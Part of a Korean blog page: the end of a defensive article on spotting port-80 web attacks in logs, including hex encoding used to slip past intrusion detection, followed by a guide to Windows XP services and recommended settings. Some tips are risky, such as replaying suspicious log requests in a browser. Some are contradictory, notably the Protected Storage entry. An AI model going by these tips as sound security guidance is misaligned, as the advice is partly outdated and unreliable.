버퍼오버 플로워에 관련한 더 많은 내용들이 있지만 여기서는 다루지 않을 것이다. 규칙적인 문자 배열이 로그파일에 있다면 당신은 충분히 조사하여야 한다. 만약 로그파일에 지속적으로 엄청난 요청들이 존재한다면 그것은 아마도 새로운 인터넷 바이러스의 한 형태 일 수 있다.

V. Hex 암호화 - (침입탐지 시스템을 피하기 위한)

fingerprint 공격에 관한 모든 레퍼런스는 침입탐지 시스템이 공격 요청들을 위한 문자만을 체크한다는 것을 알고 있다. 오래전부터 공격자들은 hex값 안에서 그들의 요청을 암호화 하여 침입탐지 시스템을 회피하였다.
Whisker로 알려진 CGI스캐너가 대표적인 예이다. 만약 당신의 로그들을 보고 많은 hex나 특이한 문자들을 인지한다면 그것은 공격자가 당신의 시스템을 공격하려는 시도일 가능성이 있다.
hex에 대한 의미를 가장 빨리 체크하는 방법은 로그파일의 내용을 브라우져에 복사하여 실제 적용되는 상태를 보는 것이다.
만약 당신이 404페이지 오류가 보이지 않고, hex값을 웹서버에 전송한 결과 요청이 성공적으로 이루어진다면 당신은 그 결과를 알 수 있을 것이다.
만약 당신이 이러한 보안 위험을 무릅쓰지 않겠다면, 간단히 암호화된 문자를 적당히 ascii값으로 변경하여 해석하여야 할 것이다.

VI. 결론
이 문서는 80포트에 대한 모든 공격코드를 기술하지는 않았다. 그러나 거의 대부분의 일반적인 공격에 대하여는 기술하였으리라 믿는다.
여기서 당신에게 말하려는 것은 당신의 로그 파일 내용을 점검하기 위한 방법과 침입탐지 시스템의 룰을 적용하기 위한 간단한 아이디어를 제공하였다.
여기서 작성한 것은 웹 서버 관리자가 조심하여야 할것이 무엇이며 또한 안전한 웹 응용프로그램을 개발하는 방법에 대해 도움을 주려고 하였다.

Posted by 시스템매니아
,

1 Alerter
유닉스 계열의 OS에서 관리자계정에서 클라이언트 계정으로 경고 메시지를 보낼 때 쓰는 것처럼 이용자와 컴퓨터에 경고 메시지를 보낸다.

PC에서는 내 PC와 연결된 다른 사람이나 컴퓨터에 경고 메시지를 보내거나 받을 일이 없으니까 개인 사용자는 수동으로 된 초기값을 사용안함으로 변경.

초기값: 수동권장값: 사용안함   (XP SP2를 설치하면 자동적으로 꺼짐으로 설정된다)

 

2 Application Layer Gateway Service
인터넷 연결 공유나 인터넷 연결 방화벽을 쓸 때 필요하다. 더욱이 윈도우 XP가 기본으로 지닌 방화벽 서비스를 쓸 때는 수동이나 자동으로 설정돼 있어야 한다.

초기값: 수동권장값: 수동이나 자동 (수동으로 설정이 되 있으면 PC에서 사용자의 요청이나 다른 프로그램의 요청이 있을 때 서비스가 실행이 된다 필수 서비스가 아닌 이상 필요하더라도 가급적 수동으로 두고 사용하길 바란다.  필수 서비스 중 자동이 아닐 경우 윈도우 구동상에 치명적인 문제가 생기는 것들이 있다 이러한 것들을 제외하고 필요한 서비스들은 수동으로 두면 된다)

 

3 Application Management
프로그램을 설치하거나 삭제하는 일을 한다. 이 서비스를 멈추게 하면 응용프로그램을 설치하거나 삭제할 수 없다. 당연히 초기값 수동을 그대로 둬야 하는 서비스다.

초기값: 수동권장값: 수동 ( 이러한 항목은 자동으로 둘 필요는 없다 계속적으로 프로그램을 설치하거나 삭제하는 것이 아닌 가끔 식 설치를 하거나 삭제를 하기 때문에 수동으로 두고 사용하면 설치하거나 삭제할 때 자동으로 실행이 된다 이러한 서비스들은 자동으로 두고 사용하는 것은 리소스 낭비다. 또한 필수적인 서비스로서 사용안함으로 두면 윈도우 사용상 불편을 초래한다)

 

4 Automatic Updates
 
윈도우즈 업데이트 사이트에서 업데이트 파일을 자동으로 다운로드 받고 설치하는 일을 한다. 기타 다운로드 싸이트에서 다운받아 수동으로 업데이트하는 사람이나 윈도우 업데이트 싸이트에 직접 접속하여 업데이트를 하는 사용자는 굳이 사용할 필요가 없다 다만 자동으로 윈도우 업데이트 설정이 자동업데이트로 되어있고 자동업데이트를 사용하는 사용자라면 기본값이 자동을 그대로 두어야 한다

수동으로 둘 경우 사용자가 임의로 실행을 하기 전에는 업데이트 사항이 있는지 확인을 안 하므로

수동이나 사용안함이나 다를 것이 없다 자동으로 둘 경우 일정시간 간격마다 자동으로 업데이트 항목이 있는지 확인을 하게 된다 (또한 윈도우 업데이트 싸이트에서 업데이트 하는 사용자중 WGA에 정품인증이 안 되는 경우 싸이트에 접속하여 업데이트를 할 수 없으므로 필히 자동으로 두고 사용할 것을 권한다)

초기값: 자동권장값: 자동

 

5 Background Intelligent Transfer Service
사용하지 않는 네트워크 대역폭을 활용하는 서비스다. 일반적인 경우 사용하지 않는다

서버에서와 같이 네트워크 데이터를 많이 주고받는 곳에서 주로 쓰인다.

서버와 데이터를 비동기 전송하는데 쓴다. 한마디로 업다운 비대칭을 이루게 하는 서비스이다 (자동업데이트를 하는 사용자라면 기본값인 수동을 그대로 두고 사용하여야 한다)

초기값: 수동권장값: 수동

 

6 ClipBook
잘라내기나 붙여넣기 할 때 그 데이터가 클립보드에 저장이 되는데 이 클립보드의 내용을 열람할 수 있게 하는 서비스이다 이것은 다른 PC와 클립보드를 공유할 때도 사용한다. 그러나 보통의 경우 다른 PC유저에게 나의 클립보드내용을 공유해줄 필요가 없고 또한 만약 현재 시스템에 로그인을 할 수 있는 사용자라면 현재 사용하고 있는 클립보드의 내용을 열람할 수 있기 때문에 보안상 문제가 될 수 있다

초기값: 수동권장값: 사용안함

 

7 COM+ Event System
COM(Component Object Model)
구성 요소에 가입한 SENS(Supports System Event Notification Service)는 이벤트 자동 분산을 제공한다. 이 서비스를 멈추면 중지되었다는 "DCOM" 오류를 보낸다. 수동으로 설정하면 많은 서비스들이 이 서비스에 보고를

시작한다. 쓰지 않아도 되는 서비스이나, 혹시나 System Event Notification 서비스를 쓰거나 Optimize System 옵션으로 BootVis를 돌릴 때는 필요하다.

초기값: 수동권장값: 수동 (이와 같은 서비스들은 사용빈도는 적지만 만약 정작 필요할 때 구동이 되지 않으면 해당작업을 할 수 없게 된다 그러함에 사용안함 보다는 수동으로 두고 사용하는 것이 바람직하다 수동으로 둘 경우 해당서비스에 요청이 있을 때 자동으로 서비스가 구동이 된다)

 8 COM+ System Application
com+
기반 구성요소를 설정하거나 추적을 하는 일을 한다. 시스템에서 일어난 사건을 보고하는 System Event Notification 서비스를 쓰지 않는다면 사용안함으로 그렇지 않으면 그대로 두는 것이 좋다

초기값: 수동권장값: 수동

 

9 Computer Browser
혼자 쓰는 PC는 쓸데없는 서비스다. 뿐만 아니라 가정집에서나 소규모 사무실에서 4개 이내의 PC를 랜으로 연결할 때도 굳이 해당 서비스를 구동하지 않아도 된다

이 서비스는 네트워크에 있는 모든 PC 목록을 업데이트하고 관리한다.

또 이 목록을 다른 PC에 건내주기도 한다. 때문에 혼자 사용하는 컴퓨터는 꼭 사용안함으로 변경하는 것이 좋다 그리고 소규모 랜의 경우에도 한쪽 PC에서 목록을 업데이트 하지 않아도

다른 PC에서 목록을 업데이트를 하게 되며 또한 PC 대수가 적은 랜의 경우에는 굳이 실시간으로

PC목록을 업데이트 하지 않아도 된다 또한 만약 다수의 PC가 묶여있는 사무실이라 할지라도

별도의 Wins 서버가 구성이 되어있다면 이 경우 또한 사용하지 않음으로 두는 것이 좋다

(Wins 서버가 다 알아서 업데이트하므로…)

초기값: 자동권장값: 사용안함

 

10 Cryptographic Services
윈도우에 설치(복사)되는 파일이 서명되었나 확인하는 카탈로그 데이터베이스 서비스다. 신뢰하는 루트 인증기관의 인증서를 내 PC에 저장하거나 없애는 보호된 루트 서비스다.

인증서를 얻는 키 서비스와 같은 관리서비스 일을 한다.

이 서비스를 멈추면 모든 윈도우즈 프로그램을 깔 때 인증되지 않은 드라이버라는 메시지가 뜰 뿐 다른 문제는 없다 또한 제어판의 시스템등록정보에서 하드웨어 탭에있는 드라이버 서명항목에

무시 가 선택되어있다면 인증되지 않았다는 메시지 조차 뜨지 않는다

하지만 수동으로 윈도우즈 업데이트를 할 때나 마이크로소프트가 직접 배포하는 프로그램을 깔 때는

실행이 되어야 한다

초기값: 자동권장값: 자동

 

11 DHCP Client
IP
보안 정책을 관리하고 ISAKMP/Oakley (IKE) IP 보안 드라이버를 띄우는 서비스를 쓰거나 인터넷 연결공유, 인터넷 연결 방화벽을 쓸 때 필요하다. 초고속 인터넷인 케이블 모뎀이나 ADSL, VDSL 서비스를 쓴다면 초기값인 자동을 그대로 두고,

인터넷을 쓰지 않거나 고정 IP를 쓰는 PC라면 사용안함을 선택한다.

만약 고정IP가 아닌데도 불구하고 이 서비스를 중지 또는 사용하지 않게 설정을 하면

DHCP서버로부터 IP를 받아 오지 못하게 되어 인터넷이 불가능하게 된다(국내 초고속 인터넷은 모두 유동 IP를 사용하기에 DHCP서버로부터 IP를 할당 받아야 된다)

초기값: 자동권장값: 자동

 

12 Distributed Link Tracking Client
네트워크에서 연결된 여러 PC에서 NTFS 파일을 주고받는 일을 담당한다. ntfs 5.0으로 포맷된 공유 드라이브를 쓰는 윈도우즈 2000XP 네트워킹에서는 쓸만한 서비스다. 공유 드라이브에 담긴 파일이 잘 있는지 바로가기 링크나 파일 정보를 항상 새로 고쳐 최신 정보를 갖고 있기 때문이다. 하지만 네트워크를 쓰지 않는 개인PC라면 쓰지 않아도 된다.

또한 네트워크가 구성중이라도 실제로 공유 폴더를 생성하여 파일 등을 공유하지 않는다면 사용할 필요가 없다 그리고 공유를 하더라도 그 개체수가 적다면 굳이 항상 최신정보로 업데이트의 필요성이 적어지므로 사용 효용성이 줄어든다

초기값: 자동권장값: 사용안함

 

13 Distributed Transaction Coordinator
데이터베이스와 메시지 대기열과 파일 시스템 따위와 같은 여러 리소스 관리자를 다스린다.

Message Queuing 서비스를 쓸 때는 이 서비스가 필요하다. 쓰지 않는다면 필요 없는 서비스다.

초기값: 수동권장값: 수동

 

14 DNS Client
PC가 속해 있는 도메인 이름 시스템(DNS)의 이름을 알아두어 캐시에 보관한다. 이 서비스를 멈춰도 인터넷 DNS를 알아채는데

전혀 문제 없으니 사용안함으로 돌려도 된다. 하지만 IPSEC 서비스를 쓸 때는 자동으로 해 둬야 한다. 하지만 이것은 특별한 경우이고 대부분 TCP/IP를 쓰는 PC에서는 필요 없는 서비스다. 그러나 확신이 없으면 그대로 둬도 된다. 또한 만약 공유기를 사용하는 사용자라면 기본값인 자동을 그대로 둘 것을 추천한다

초기값: 자동권장값: 자동

 

15 Error Reporting Service
서비스와 응용프로그램이 오류를 낼 때 그에 대한 정보를 마이크로소프트의 Dr.Watson에게 보고한다.

이 서비스는 MS에 보고만 할 뿐 내 PC에 아무런 도움이 되지 않는다. 무조건 초기값 자동을 사용안함으로 돌리자.

초기값: 자동권장값: 사용안함

 

16 Event Log
이벤트 뷰어에 있는 구성요소와 윈도우즈에서 돌아가는 응용소프트웨어가 만든 이벤트를 기록해 두는 서비스다.

일반 사용자가 사용할 때의 범위는 응용프로그램의 문제점이나 보안을 알아볼 때 정도이다

하지만 그 효용성이 적더라도 멈출 수 없는 서비스다. 멈추면 부팅이 안 된다.

초기값: 자동권장값: 자동

 

17 Fast User Switching Compatibility
PC
를 여러 사람이 쓰는 곳에서 이용자와 응용프로그램을 따로 관리한다. 윈도우즈가 기본으로 지닌사용자 계정을 맡고 있다.

보통의 일반PC에서는 필요 없는 서비스이다 보통 가정에 PC의 경우 여러 가족원이 함께 사용하더라도 윈도우의 계정은 하나로 그대로 두고 사용한다 윈도우의 계정을 여려개 생성하여 다중 사용자로 사용하지 않는다면 사용안함으로 돌리자.

초기값: 수동권장값: 사용안함

 

18 Fax Service
PC나 네트워크에서 쓸 수 있는 팩스 자원을 써서 팩스를 보내고 받는 일을 한다.

이 서비스는 팩스 모뎀을 내 PC에 달아놓았을 때나 쓸 수 있다. PC에 팩스 모뎀을 달아 사용하지 않으면 사용안함으로 설정한다.

초기값: 자동권장값: 사용안함

 

19 FTP Publishing Service
인터넷 정보 서비스(IIS) 스냅인을 써서 FTP 연결이나 관리하는 일을 한다. XP에서는

기본으로 IIS와 관련한 파일이 설치 되어있지 않고 윈도우즈 설치CD에서 수동으로 설치를 할 수는 있긴하다 IIS를 사용하지 않는다면 사용안함 으로 두면된다

또한 FTP서버의 경우 IIS와 연동하여 기본제공되는 것을 사용하는것보다 외부 FTP 서버 데몬을 사용하는 것이 더 효용성이 높으므로 이 서비스를 사용하지 않는 것이 좋을듯하다

만약 확인이 없다면 그대로 둬도 무방하다. 기본값은 자동이지만 FTP서버와 자신은 하등 연관이 없다고 생각한다면 사용안함으로, 혹시나 나중에 사용할수도있다 라면 수동으로 두면된다

초기값: 자동권장값: 수동

 

20 Help and Support
도움말 및 지원센터를 수행한다.

개인적으로 윈도우의 도움말을 본적은 윈도우 95때 본 것이 손으로 꼽을정도이것이 전부이다

전혀 도움이 되지 않는다고 본다 또한 이 서비스에 얼마전 보안상 취약점이 졵했었으며

그로인해 웜이 퍼지는 경로가 되기도했었다 가급적 사용하지 않는 서비스나 프로그램들은

사용중지, 삭제하는것이 시스템 관리에 좋으며 리소스 확보와 함께 보안에 도움이 된다

참고로 WINDOWS 폴더에 있는 help 폴더안의 도움말의 파일들이 저장되어있는데

이 파일들을 모두 삭제 해도 윈도우 사용상 아무런 문제가 발생하지 않는다

하드디스크의 잉여 공간을 조금이라도 더 늘리고 싶은 사용자라면

파일을 지워 공간확보를 하는것도 좋을것이다

초기값: 자동권장값: 사용안함

 

21 Human Interface Device Access
키보드와 원격제어, 갖가지 멀티미디어 장치에서 미리 설정해 둔 버튼을 쓰게 한다.

하지만 이런 기능를 이용하는 주변장치는 거의 없다.
초기값: 수동권장값:수동

 

22 IIS Admin
로컬 웹서버나 FTP 서버를 관리하는 서비스다. 기본으로 설치 되진 않고 윈도우즈XP 설치CD를 이용해 설치할수 있다.

PC에서 서버 프로그램을 돌리지 않는다면,   개인사용 컴퓨터는 사용안함으로 설정한다.

초기값: 자동권장값: 사용안함

 

23 IMAPI CD-Burning COM Service
윈도우XP는 기본으로 CD를 버닝을 할수있다 별도의 CD버닝 소프트웨어를 사용하지 않더라고 윈도우 탐색기에서 CD드라이브에 공CD를 넣고 파일을 복사해 넣는것만으로도 CD를 구울수잇는것이다 하지만 대부분의 사용자들은 이 기능을 사용해서 시디를 굽는 경우는 거의 없고,

네로 버닝롬과 같은 레코딩 툴을 따로 설치하여 사용하는 경우가 많기 때문에 필요없는 서비스라 볼수있다. 이 서비스를 정지 시킬경우 단지 윈도우 탐색기에서 파일을 복사해서 넣는 방식으로는 CD를 구울수없게된다 하지만 생각해보라 이글을 읽고있는 질문자 당신은 과연 윈도우 탐색기에서

공시디로 CD를 구운적이있는가 아마 네로버닝롬이나 이지시디와 같은 툴을 이용해 CD를 구어왔을것이다 이서비스를 정지하더라도 따로이 버닝 툴을 이용하여 CD를 굽는데 아무런 지장이 없다

초기값: 수동권장값: 사용안함

 

24 Indexing Service
PC나 이용당하는 원격 PC에 담기 파일의 내용이나 속성을 목록으로 만들고 쿼리 언어로 파일을 빠르게 읽게 한다.

윈도우 2000 XP에서 많은 리소스를 잡아먹는 서비스중 하나이다, 개인용 컴퓨터에서는 필요없는 서비스다.

초기값: 자동권장값: 사용안함

 

25 Internet Connection Firewall and Internet Connection Sharing
네트워크 주소를 바꾸거나 주소를 정해준다. 또 이름을 확인하거나 소규모 네트어크 침입을 막는 서비스다.

보통 모뎀을 쓰는 PC가 이용하는 서비스다. 인터넷 공유나 방화벽 서비스를 쓴다면 자동으로 놓아 두워야 한다

초기값: 자동권장값: 자동

 

26 IPSEC Services
IP
보안 정책을 관리하고 IKE IP 보안 드라이버를 시작한다. IPSEC를 쓰는 인터넷이나 네트워크에 접속할 때

자동으로 설정된다. 단 한통이나 하나로통신과 같은 ISP는 이러한 기술을 쓰지 않기 때문에 필요없는 서비스이다 하지만 다른  통신을 이용하거나 확신이 없으면 그대로 두길 권한다.

초기값: 자동권장값: 자동

 

27 Logical Disk Manager
새로운 하드디스크 드라이브를 알아채고 감시한다. 디스크 볼륨 정보를 로컬 디스크 관리 서비스에 건내준다.

이 서비스는 동적으로 볼륨을 관리하는 디스크 관리를 구동할 때 필요하다. 따라서 하드디스크를 떼었다 붙였다 하지 않는다고 해도 웬만해선자동으로 놓고 쓰는 것이 좋다.

초기값: 자동권장값: 자동

 

28 Logical Disk Manager Administrative Service
하드디스크와 볼륨을 구성한다. 디스크 관리 창이 뜰 때만 쓰는 서비스이니까 수동으로 되어 있다.

하드디스크 관련 서비스는 초기값 그대로 두는 것이 좋다. 만에 하나 문제가 생겨 HDD에 액세스 할수없게 되는경우 당연하게 윈도우가 구동이 되지 않는다

초기값: 수동권장값: 수동

 

29 Message Queuing
보통 이용자에겐 전혀 쓸모없는 서비스다. 다른 시간에 수행하는 응용프로그램들이 잠깐 오프라인이 되기도 하는 네트워크와 시스템을 거쳐 통신하게 만드는 서비스다.

초기값: 자동권장값: 사용안함

 

30 Message Queuing Triggers
대기열에 메시지가 닿는 것을 com 구성요소나 나홀로 수행하는 응용프로그램의 재주와 연결하는 서비스다. 기본으로는 설치되어 있지 않지만 윈도우즈XP 설치CD를 사용하겨 수동으로 설치할수있다.

초기값: 자동권장값: 사용안함

 

31 Messenger
PC
끼리 경고 메시지를 주고받는 일을 맡는다. 가끔 성인정보를 파는 사람이 이 서비스로 많은 사람에게 스팸 메시지를 보내는 등 악용되기도 한다. 보통 사람에겐 필요없는 서비스다. 이 서비스는 msn 메신저와 하등 상관없으니  꼭 사용안함으로 설정하기 바란다.

초기값: 자동권장값: 사용안함(XP SP2 가 설치되어있는경우 기본값으로 사용안함으로 되어있다 SP1이하 를 사용하는 사용자라면 필히 사용안함으로 설정하기 바란다 SP1이하에서는 기본값이 자동으로 설정이 되어있다)

초기값: 자동(SP1이하), 수동(SP2) → 권장값: 사용안함

 

32 MS Software Shadow Copy Provider
마이크로소프트 백업 유틸리티를 쓸 때 필요한 서비스다. 보이지 않는 곳에서 복사하는 일을 한다.

이 서비스를 멈추면 중지되었다는 메시지가 윈도우 이벤트 로그에 기록되지만 그것뿐 다른 영향은 없다

초기값: 수동권장값: 사용안함

 

33 Net Logon
도메인 서버에 로그인할 때 쓴다. 도메인 네트워크에 가입하지 않은 사람한테는, 쓸모없는 서비스다.

초기값: 수동권장값: 사용안함

 

34 NetMeeting Remote Desktop Sharing
인증받은 이용자가 넷미팅을 써서 원격으로 PC에 접근하게 한다. 이 서비스는 악용되어 핵킹에 사용되기도 한다당연히 해당 서비스를 중지 하는 것이 좋다.

초기값: 수동권장값: 사용안함

 

35 Network Connections
네트워크나 전화접속 연결 폴더에 있는 개체(한통, 하나로통신 바로가기 아이콘)를 관리한다.

LAN이나 원격 연결을 모두 보게 한다. 이 서비스는 네트워크를 관리할 때 필요하다. 인터넷을 쓰지 않는 PC라면 필요없지만, 인터넷을 사용하는 경우에는 필요한 서비스 이다.

초기값: 수동권장값: 수동

 

36 Network DDE
PC 안에서 돌아가는 프로그램이나 다른 PC에서 돌아가는 프로그램들이 동적 데이터 교환(Dynamic Data Exchange: DDE) 을 사용할 때 네트워크에서 안전하게 주고받게 한다.

DDE 네트웍 접속은 개인사용자에게는 전혀 해당되지 않는다, 따라서 개인사용자는  사용안함으로 돌리는 게 좋다.

초기값: 수동권장값: 사용안함

 

37 Network DDE DSDM
DDE
네트웍 공유를 관리한다. 36번 네트웍 DDE와 마찬가지로 개인사용자는 전혀 쓸 일 없는 서비스다.

초기값: 수동권장값: 사용안함

 

38 NLA(Network Location Awareness)
네트워크 구성과 위치 정보를 모으고 저장한다. 이 정보가 바뀌면 응용프로그램한테 통보하는 역할을 한다. 인터넷 연결 공유 서비스를 하는 서버가 되는 PC에서는자동으로 설정된다. 그렇지 않은 PC는 사용안함으로 설정.

초기값: 수동권장값: 사용안함

 

39 NT LM Security Support Provider
메시지 대기열이나 텔넷 서버를 돌리지 않을 때는 거의 쓰지 않는 서비스다.

명령어 통로를 거치지 않는 원격 프로시저 호출(RPC) 프로그램을 안전하게 지키는 일을 한다.

초기값: 수동권장값: 사용안함

 

40 Performance Logs and Alerts
때마다 성능 데이터를 모으고 이 정보를 기록해 두거나 경고를 띄울 때 쓴다. 미리 설정해 둔 예약 매개 변수를 써서 로컬이나

원격 PC에서 성능 데이터를 수집하는 일을 한다. 제어판관리도구의 성능 모니터에서 PC를 감시하게 했놓았다면자동으로 설정한다.

수동으로 설정해 두면 어떠한 성능 기록이나 경고도 기록하지 않는다.

그러므로 수동으로 둔다할지라도 직접 성능 모니터를 구동하지 않는다면 실행이 되지 않는 서비스이다

초기값: 수동권장값: 사용안함

 

41 Plug and Play
윈도우즈가 새로운 하드웨어를 알아채는 일을 한다. 이용자가 따로 건드리지 않아서 윈도우즈가 하드웨어 변경 내용을 알아채고

드라이버를 스스로 깔게 한다. 이 서비스를 멈추면 장치 관리자에서 장치 목록이 뜨지 않는다.

초기값: 자동권장값: 자동

 

42 Portable Media Serial Number
PC
와 연결한 휴대용 음악 재생기의 등록정보를 알아채는 일을 한다.

실제로 이런 일을 쓰는 경우는 거의 없다.

사용안함으로 설정해도 휴대용 음악 재생기를 연결해 쓰는데 문제가 없다.

초기값: 자동권장값: 사용안함

 

43 Print Spooler
인쇄 요청된 파일을 메모리에 버퍼에 저장한다. 이 서비스는 프린터를 쓰는 이에게 필요하다.

프린터를 쓰지 않는다면 사용안함으로 설정해 둬도 되지만  거의 대부분의 경우는 프린터를 사용하기 때문에 그대로 두는 것이 좋다. 만약 프린터를 사용함에도 불구하고 사용하지 않음으로 설정을 했을경우 인쇄요청된 파일에 오버플로우가 발생하면 프린트 실패로 이어진다

초기값: 자동권장값: 자동

 

44 Protected Storage
개인 키와 같은 중요한 데이터를 보호된 저장소에 보관하고 권한 없는 서비스나 다른 이용자가 접근하지 못하게 막는다.

로컬 암호나 웹사이트의 자동완성과 같은 정보를 저장하는데도 쓴다. 이 서비스는자동으로 기본 설정되어 있다.

이 서비스는 자동암호기억이나 네이버같은 검색사이트에 검색한 단어를 모으는데 사용하는 서비스이다

윈도우사용흔적을 지우는 유틸(C클리너, 히스토리클리어같은)을 사용하는 사용자는 같은 기능이 중복되므로 그 효용성이 떨어지는 것이 사실이나 실시간으로 윈도우 사용흔적을 지우는 것이 아니므로 보안상 기본값인 자동을 그대로 두는 것이 바람직하다

초기값: 자동권장값: 사용안함

 

45 QoS RSVP
QoS RSVP(Quality of Service Resource ReServation Protocol)
QoS를 알아채는 프로그램이 활성화 되었을 때 이들에게 필요한

네트웍 대역폭을 주려고 여유 대역폭을 설정할 때 사용된다. 기본으로 20% 대역폭을 예약해 놓는다.

이 서비스를 쓰지 않는다면 쓰지 않던 20% 대역폭도 활용할 수 있다인터넷이나 P2P시에 기존 사용하지 못했던 20%의 여분 대역폭까지 모두 사용할수있게되어 속도가 빨라질수있는 가능성이 생긴다. (기존 인터넷 사용중에 대역폭을 100%까지 모두 사용하는 경우가 많다면 이 서비스를 중지함으로서 효용성을 얻을수있다. 플래쉬겟 등과 같이 동시 파일을 분할해서 다운로드하는 프로그램같은경우 회선 대펵폭을 모두 끌어다 쓰기 때문에 이서비스를 중지했을경우 이득을 볼수있다)

QoS 패킷 드라이버는 TCP/IP 방식으로 인터넷에 접속할 때 기본으로 메모리에 뜬다. 이것을 쓰는 응용프로그램이 있다면자동으로 그대로 둔다. 하지만 보통 PC는 이런 QoS를 쓰는 일이 드무니까 사용안함으로 설정한다 (QoS를 사용하는 프로그램을 예로들면 PC방에서 사용하는 게토가 있다

이경우 PC에서 아무리 많은 대역폭을 끌어다 쓰더라도 매인 카운터 PC와 항상 연결이 되어있어야 하므로 이서비스를 사용하여 20%의 대역폭을 예비로 남겨두어 항상 통신을 할수있게 하여야 한다)

초기값: 수동권장값: 사용안함

 

46 Remote Access Auto Connection Manager
응용프로그램이 원격 DNS NetBIOS 이름이나 주소를 참조할 때 마다 원격 네트워크 연결을 하게 한다.

프로그램이 원격 주소를 요청할 때 자동으로 네트웍에 접속시켜주는 일을 하는 것이다.

이 서비스는 모뎀 전화접속을 할 때 필요하다모뎀을 쓰지 않는다면 필요 없는 서비스다.

초기값: 수동권장값: 사용안함

 

47 Remote Access Connection Manager
인터넷 연결 공유를 쓸 때 필요하다. 이 서비스는 인터넷 연결 공유를 할 때 필요한 연결 관리자다.

개인 사용자는 전혀 필요가 없다. 가정집에서 2대 이상의 PC를 사용하여 한회선으로 인터넷을 사용할 때 통상 윈도우의 인터넷 연결 공유를 사용하기 보다는 공유기를 사용한다 이서비스를 중지하더라도 공유기를 사용하여 인터넷을 공유하는데 하등 지장이 없다

초기값: 수동권장값: 사용안함

 

48 Remote Desktop Help Session Manager
원격 지원 기능을 관리한다. 원격 지원을 사용하지 않는다면  사용안함으로 설정하기 바란다. 원격서비스의 경우 악용될 소지가 있어 꼭 필요한 경우가 아니라면 서비스 중지를 하는 것이 좋다

초기값: 수동권장값: 사용안함

 

49 Remote Procedure Call (RPC)

종점 매퍼나 갖가지 RPC 서비스를 맡고 있다.   대부분 다른 서비스를 돌리는데 꼭 필요한 서비스다. 사용자 임으로 멈출 수 없는 유일한 서비스이기도 한다.

초기값: 자동권장값: 자동

 

50 Remote Procedure Call (RPC) Locator
RPC
이름 서비스 데이터베이스를 관리한다. 서버용에는 필요하지만 보통 PC는 이 서비스를 쓸 필요 없다 사용안함으로 설정해도 된다.

초기값: 수동권장값: 사용안함

 

51 Remote Registry Service
원격 이용자가 내 PC에서 레지스트리 설정을 바꿀수있게 하는 서비스이다. 이 서비스를 사용하면 시스템에 로그인할 수 있는 원격 이용자가 레지스트리 항목을 수정하거나 열람할수있어 보안상 좋지않다.   사용안함으로 돌리자

초기값: 자동권장값: 사용안함

 

52 Removable Storage
이동식 드라이브를 관리하는 서비스다. CD DVD 드라이브가 아닌 테잎 백업 장치나 USB메모리 카드나, USB HDD, IEEE 등을 사용하여 연결하는 이동식 저장장치등을 말한다.

디지털카메라를 써서 USB 메모리 카드를 쓴다거나 기타 이동식 저장장치를 사용한다면 수동 값 그대로 둔다.

초기값: 수동권장값: 수동

 

53 RIP Listener
RIPv1(Routing Information Protocol version 1)
을 쓰는 라우터가 보낸 라우트 업데이트를 알아챈다.

다중 라우터를 갖는 네트웍에서 RIP 메시지를 감지하고 다른 라우터를 알아채는 일을 한다. IP 라우팅 테이블에 라우터를 추가하는

서비스다. 기본으로 깔려 있지 않지만 윈도우즈XP 설치CD로 깔 수 있다. 보통 이용자는 이 서비스를 쓸 일이 없다.

초기값: 수동권장값: 사용안함

 

54 Routing and Remote Access
근거리 네트웍(LAN)이나 원거리 네트웍(WAN) 환경에 있는 사무실에서 라우팅 서비스를 쓸 때 필요한 서비스다.

개인 사용자에게는 필요가 없기 때문에, 보안을 위해 사용안함으로 해 놓자만약에 네트워크로 연결된 컴퓨터가  라우팅해야 하는

갖가지 네트웍을 쓸 때는자동으로 놓는다.

초기값: 수동권장값: 사용안함

 

55 Secondary Logon
다른 자격 증명으로 프로세스를 시작하게 한다. 윈도우즈XP RunAs 서비스와 같다. 이 서비스를 써서 응용프로그램을  다른 이용자

권한으로 수행할 수 있다 PC에 로그인한 사람에게 특정 프로그램의 수행 권한을 줄 때 사용하는 서비스 이다.

윈도우즈 업데이트를 할 때가 그런 경우에 해당되는데하지만 이 서비스가 없다고 해도 업데이트하는데 아무 지장이 없고. 오히려

이 서비스를 악용해서  내 컴퓨터에 침입하는 경우가 있기 때문에  보안상 사용하지 않는 것이 좋다.

초기값: 자동권장값: 사용안함

 

56 Security Accounts Manager
이용자 계정의 보안 정보를 저장한다. Protected Storage 서비스처럼 로컬 이용자의 보안 정보를 저장하는 일을 한다.

이 서비스는 IIS Admin 서비스를 쓸 때 필요하다.

초기값: 자동권장값: 자동

 

57 Server
PC에 담긴 파일이나 인쇄 명령을 내리는 명령어 통로를 다른 PC도 네트워크에서 쓸 수 있게 한다파일이나 프린터를 공유하는데

쓴다. 개인 사용자에게는 전혀 필요 없는 서비스이기 때문에 사용안함으로 설정. 만약 랜등으로 네트웍이 구성되어있고 파일이나 프린터등을 공유하고있다면 서비스를 중지 하면안된다

이때 서비스를 중지하게되면 더 이상 공유기능을 사용할수없게된다

초기값: 자동권장값: 사용안함

 

58 Shell Hardware Detection
윈도우 탐색기가 드라이브나 메모리 카드와 같은 장치를 알아채게 한다. 메모리 카드를 쓰지 않는 이라면 사용안함으로 돌려도 된다.

하지만 이 서비스를 멈추면 드라이브에 내맘대로 아이콘이나 이름을 지을 수 없다.

초기값: 수동권장값: 수동

 

59 Simple Mail Transport Protocol (SMTP)
네트워크에서 e-메일을 보낼 때 쓴다 PC e-메일 송신서버(SMTP)로 사용할 때 쓰는 서비스다. 개인 사용자에게는 필요없는 서비스이다.

초기값: 자동권장값: 사용안함

 

60 Simple TCP/IP Services
몇몇 오래된 유닉스 네트웍 서비스를 돌리는 일을 한다. 기본으로 깔려 있지 않은 서비스다.

초기값: 수동권장값: 사용안함

 

61 Smart Card
윈도우가 스마트 카드를 읽게 한다 PC나 네트웍에 연결된 PC가 인증을 할 때 필요한 스마트 카드를 쓸 때 필요하다.

요즘은  스마트 카드를 전혀 쓰지 않으니까사용안함으로 돌리자.

초기값: 수동권장값: 사용안함


62 Smart Card Helper
플러그앤플레이를 부리지 않는 구형 스마트 카드를 쓰게 한다. 스마트 카드를 쓰지 않는 사람한테 필요없는 서비스다.

초기값: 수동권장값: 사용안함

 

63 SNMP Service
네트워크 장치가 돌아가는 것을 감시하고 네트워크 콘솔 워크스테이션에 보고하는 Agent를 포함하는 서비스다.

기본으로 설치되어 있지 않은 서비스다.

초기값: 수동권장값: 사용안함

 

64 SNMP Trap Service
로컬이나 원격 SNMP Agent가 만든 트랩 메시지를 받아서 내 PC에서 돌아가는 SNMP 관리 프로그램한테 건내준다.

기본으로 설치되어 있지 않은 서비스다.

